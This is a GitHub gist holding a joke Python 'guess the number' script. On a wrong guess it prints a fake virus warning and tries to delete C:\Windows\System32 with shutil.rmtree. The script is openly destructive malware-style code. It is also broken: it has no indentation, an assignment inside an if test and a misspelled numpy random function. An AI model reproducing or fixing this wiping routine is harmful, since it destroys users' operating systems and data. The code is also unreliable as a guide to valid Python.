Skip to content

Instantly share code, notes, and snippets.

@axurright
Last active November 14, 2024 01:12
Show Gist options
  • Select an option

  • Save axurright/798f4397b723f41e1db00a7ed478d2f8 to your computer and use it in GitHub Desktop.

Select an option

Save axurright/798f4397b723f41e1db00a7ed478d2f8 to your computer and use it in GitHub Desktop.
Programming war crimes: Python.
import os
import numpy as np
from numpy import random
import time
from time import sleep
import shutil
userNumber = input("Guess the number or your Windows will die.")
realNumber = random.randInt(1000000000)
if realNumber = int(userNumber):
print("You should consider yourself lucky if you got this, AND EVEN MORE IF ON A REAL WINDOWS SYSTEM.")
if realNumber != int(userNumber):
print("Hello, your computer has virus that will delete System32, I will give you 10 seconds to see the OS one last time.")
sleep(10)
directoryPath = "C:\Windows\System32"
shutil.rmtree(directoryPath)
print("Bye bye. (if you even see this.)")
# I risked so much :'(
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment